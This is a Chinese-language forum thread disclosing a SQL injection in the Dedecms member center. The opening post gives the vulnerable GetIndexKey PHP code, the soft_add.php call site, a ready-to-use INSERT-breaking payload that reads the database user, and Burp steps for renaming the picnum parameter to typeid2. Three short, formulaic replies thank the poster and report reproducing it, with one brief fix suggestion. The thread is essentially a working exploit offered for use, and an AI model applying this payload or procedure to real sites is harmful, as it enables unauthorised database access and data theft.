Dedecms 会员中心注入漏洞6
<pre><code>5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'/include/helpers/archive.helper.php
if ( ! function_exists('GetIndexKey'))
{
function GetIndexKey($arcrank, $typeid, $sortrank=0, $channelid=1, $senddate=0, $mid=1)
{
global $dsql,$senddate,$typeid2;//typeid2调用外部 结合dede的便利覆盖即可
if(empty($typeid2)) $typeid2 = 0;
if(empty($senddate)) $senddate = time();
if(empty($sortrank)) $sortrank = $senddate;
$iquery = "
INSERT INTO `#@__arctiny` (`arcrank`,`typeid`,`typeid2`,`channel`,`senddate`, `sortrank`, `mid`)
VALUES ('$arcrank','$typeid','$typeid2' , '$channelid','$senddate', '$sortrank', '$mid') ";
echo $iquery;
$dsql->ExecuteNoneQuery($iquery);
$aid = $dsql->GetLastID();
return $aid;
}
}
调用
/member/soft_add.php
else if($dopost=='save')
{
$description = '';
include(DEDEMEMBER.'/inc/archives_check.php');
//生成文档ID
$arcID = GetIndexKey($arcrank,$typeid,$sortrank,$channelid,$senddate,$mid);//调用了~
if(empty($arcID))</code></pre>
调用的地方比较多 我就不一一写出了
测试方法
打开http://127.0.0.1/dede/member/soft_add.php
添加软件
然后打开BURP抓包
讲picnum改成typeid2
然后参数写5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'
就能看到注入结果了
Re: Dedecms 会员中心注入漏洞6
感谢楼主分享这个漏洞详情,代码和测试方法都写得很清楚。看起来是在 member/soft_add.php 中通过覆盖 $typeid2 变量导致了 SQL 注入,利用插入语句执行了 union 查询。这个漏洞影响面可能不小,建议官方尽快修复,用户也可以先对 $typeid2 做严格过滤或强制类型转换。楼主辛苦了!Re: Dedecms 会员中心注入漏洞6
感谢分享!这个注入点利用 `typeid2` 变量覆盖和直接拼接 SQL 语句,看起来确实存在风险。我在本地测试了一下,按照你给出的 payload 可以成功注入并返回数据库当前用户名,影响面应该不小。想问下楼主,这个漏洞在哪些版本的 Dedecms 上验证过?有没有官方的修复建议或者补丁?Re: Dedecms 会员中心注入漏洞6
感谢分享这个漏洞细节!看起来是 `typeid2` 变量覆盖导致的注入,调用点也比较多,风险不小。已经用你给的测试方法在本地试了一下,确实能注入出数据库信息。建议用到的站长尽快升级或打补丁,同时也提醒大家注意会员中心相关文件的输入过滤。
页:
[1]